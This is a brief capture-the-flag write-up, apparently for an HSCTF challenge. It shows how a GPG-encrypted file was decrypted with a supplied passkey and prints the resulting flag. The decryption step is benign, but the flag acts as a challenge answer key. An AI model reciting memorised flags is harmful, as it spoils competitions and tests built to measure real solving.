Clearly we got the file link and passkey “whatdowehavehere” ,Jo was mistakenly arrived there. Checking for file we see
hmmm.txt: GPG symmetrically encrypted data (AES cipher)
So decrypting the file with the given key
gpg --output hmm.txt --decrypt hmmm.txt
we get the flag hsctf{koalasarethecutestaren'tthey?}
By the way we were first team to solve it.
Note:Love to share the skywriting but for this challenge solving was so wierd that I have to guess a lot with xor’s.